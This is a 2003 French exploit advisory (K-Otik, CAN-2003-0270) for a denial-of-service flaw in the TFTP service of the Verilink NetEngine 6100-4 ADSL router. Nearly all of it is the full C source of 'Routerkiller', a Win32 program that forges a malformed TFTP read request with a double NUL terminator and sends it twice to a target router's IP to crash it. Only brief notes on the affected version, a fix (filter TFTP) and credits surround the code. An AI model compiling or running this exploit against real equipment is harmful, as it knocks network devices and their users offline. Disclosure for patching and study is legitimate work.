Verilink NetEngine 6100-4 Denial of Service Attack (TFTP)
|
Date de Publication: 2003-05-13
Titre: Verilink NetEngine 6100-4 Denial of Service Attack (TFTP)
K-Otik ID : 0081
CVE : CAN-2003-0270
Exploitable à distance : Non
Exploitable en local : Oui
* Description Technique - Exploit *
Une vulnérabilité de type Déni de service, touche le routeur ADSL NetEngine 6100-4. Cette faille touche le protocol TFTP de NetEngine : un attaquant peut donc causer un DoS en envoyant des paquets mal formés au service TFTP.
-------------------------------- [Exploit Routerkiller.c] ------------------------------
/*
****************************************************************
* NetEngine 6100-4 router TFTP DOS exploit:
*
* By : Lorenzo Cerulli -Fabio Annunizato
*
* Compiled with LCC - WIN32
****************************************************************
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include "routerkiller.h"
char send_buf[PKTSIZE]; // send buffer
char recv_buf[PKTSIZE]; // recv buffer
//char data_buf[MAXDATA]; //unused
//TFTP TRANSFER MODES
const int NETASCII = 1;
const int OCTET = 2;
int write_buf(struct packet pkt)
{
short * sp = NULL;
char * cp = NULL;
int i;
int len = 0;
switch(pkt.opcode)
{
case RRQ: /* write opcode */
sp = (short *)send_buf;
*sp = htons(pkt.opcode);
/* write filename */
cp = &send_buf[2];
for(i = 0; pkt.mid.fname[i] != '\0'; ++i)
{
*cp = pkt.mid.fname[i];
++cp;
}
*cp = '\0';
//This is the hack, write double ZERO terminator...bye bye router!!:)
++cp;
*cp='\0';
++cp;
//Writing the transfer MODE (OCTET or NETASCII)
for(i = 0; pkt.stuff[i] != '\0'; ++i)
{
*cp = pkt.stuff[i];
++cp;
}
*cp = '\0';
len = (cp - send_buf) + 1;
break;
default:
printf("Packet Wrong: Not accepted Opcode\n");
exit(1);
break;
}
return len;
}
char * FTMode(int mode)
{
if(mode == NETASCII)
return "netascii";
else
return "octet";
}
int make_RRQ_packet(char *fname, int mode)
{
struct packet pkt;
pkt.opcode = RRQ;
pkt.mid.fname = fname;
pkt.stuff = FTMode(mode);
return(write_buf(pkt));
}
void buf_to_pkt(char *buf, struct packet *pkt)
{
char *cp = NULL;
switch(ntohs(*((short *)buf)))
{
case RRQ:
pkt->opcode = RRQ;
(pkt->mid).fname = &buf[2];
for(cp = &buf[2]; *cp != '\0'; ++cp);
pkt->stuff = ++cp;
break;
case ACK:
pkt->opcode = ACK;
(pkt->mid).blkno = ntohs(*((short *) &buf[2]));
break;
case ERR:
pkt->opcode = ERR;
(pkt->mid).errcode = ntohs(*((short *) &buf[2]));
pkt->stuff = &buf[4];
break;
default:
printf("Invalid opcode in Packet during BUFF to PACKET conversion\n");
exit(1);
break;
}
}
void recv_buf_to_pkt(struct packet *pkt)
{
buf_to_pkt(recv_buf, pkt);
}
void print_buf(char *buf)
{
struct packet pkt;
buf_to_pkt(buf, &pkt);
if(pkt.opcode < 1 || pkt.opcode > 5){
printf("Illegal opcode in packet: print_buf\n");
return;
}
switch(pkt.opcode)
{
case RRQ:
printf("[ RRQ Packet ]\n");
printf("filename : %s\n", pkt.mid.fname);
printf("mode : %s\n\n", pkt.stuff);
break;
case ACK:
printf("[ ACK Packet ]\n");
printf("blkno : %d\n\n", pkt.mid.blkno);
break;
case ERR:
printf("[ ERR Packet ]\n");
printf("errcode : %d\n", pkt.mid.errcode);
printf("errstr : %s\n\n", pkt.stuff);
break;
default:
break;
}
}
void Usage(char *pname){
printf("%s ROUTER_IP_ADDR [PORT_NUM=69]\n",pname);
return;
}
int main(int argc,char *argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int sockfd;
struct sockaddr_in mserv_addr,serv_addr;
unsigned long inaddr = 0;
int len;
struct packet pkt; //Packet Structure
char IP_ADDR[255]; //IP ADDRESS
char *fname="filename";//Bogus Filename
int destPORT = 69;//Default to 69
struct timeval timeout; //timeout for select()
fd_set readfds;
printf("Polycom Router Killer by NoMoreSecrets and Damned Animal\n");
printf("1 May 2003 (Italy)\n\n");
if (argc < 2) {
Usage(argv[0]);
return -1;
}
if (argc==3)
destPORT=atoi(argv[2]);
printf("Requesting Winsock...\n");
wVersionRequested = MAKEWORD( 2, 2 );
len = WSAStartup( wVersionRequested, &wsaData );
if ( len != 0 ) {
printf("No winsock suitable version found!");
return -1;
}
memset((char *) &mserv_addr, 0, sizeof(mserv_addr));
mserv_addr.sin_family = AF_INET;
mserv_addr.sin_port = htons((u_short) destPORT);
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
printf("Can't create UDP socket\n");
exit(1);
}
strncpy(IP_ADDR, argv[1], sizeof(IP_ADDR));
if ( (inaddr = inet_addr(IP_ADDR)) != INADDR_NONE) {
memcpy((char *) &mserv_addr.sin_addr, (char *) &inaddr, sizeof(inaddr));
}
else{
printf("Invalid IP address: Address must be in dotted format -> 128.34.55.XX\n");
return -1;
}
len=0;
/* Setting descriptor parameters*/
timeout.tv_sec = 5;
timeout.tv_usec =0;
FD_ZERO( &readfds );
FD_SET ( sockfd, &readfds );
printf("Ready to send MAGIC PACKET...\nDest IP: %s\nDest Port:%d\n\n",IP_ADDR,destPORT);
len = make_RRQ_packet(fname,NETASCII); //Forging the packet , try to use OCTET instead
printf("RRQ->Sending 2 packets. Size:: %d\n",len);
if(sendto(sockfd, send_buf, len, 0, (struct sockaddr *) &mserv_addr, sizeof(mserv_addr)) != len)
printf("Error sending first packet\n");
if(sendto(sockfd, send_buf, len, 0, (struct sockaddr *) &mserv_addr, sizeof(mserv_addr)) != len)
printf("Error sending second packet\n");
printf("Packet sent........\n");
int servlen = sizeof(serv_addr);
printf("Waiting remote host response:\n");
//Setting socket in nonblocking mode
int noblock=1;
ioctlsocket(sockfd,FIONBIO,&noblock);
//Wait for a socket ready or for timeout
len = select(sockfd+1, &readfds, NULL, NULL, &timeout);
if (len<=0){
printf("Timeout exceded: Router is vulnerable or no TFTP server Available\n");
printf("Ping the router to check if it's down\n");
WSACleanup();
return 0;
}
len = recvfrom(sockfd, recv_buf, PKTSIZE, 0, (struct sockaddr *) &serv_addr, &servlen);
if(len < 0)
printf("Router is up but-> Error reciving packet:\n");
recv_buf_to_pkt(&pkt);
print_buf(recv_buf);
printf("Response from the router: TFTP server up->not vulnerable to attack\n");
WSACleanup();
return 0;
}
-----------------------------------------------------------------------------------
---------------------- Routerkiller.h ------------------
#define RRQ 1
#define WRQ 2
#define DAT 3
#define ACK 4
#define ERR 5
#define MAXDATA 512 /* max size of data */
#define PKTSIZE 516 /* max size of TFTP packet */
#define MAXFSIZE 128
struct packet
{
UINT opcode;
union {
char *fname;
UINT blkno;
UINT errcode;
} mid;
char *stuff;
};
---------------------------------------------------------
* Versions Vulnérables *
NetEngine 6100-4.
* Solution *
Filtrer le protocole TFTP.
* Crédits *
Faille découverte par Lorenzo Cerulli et Fabio Annunizato (Mai 2003).
|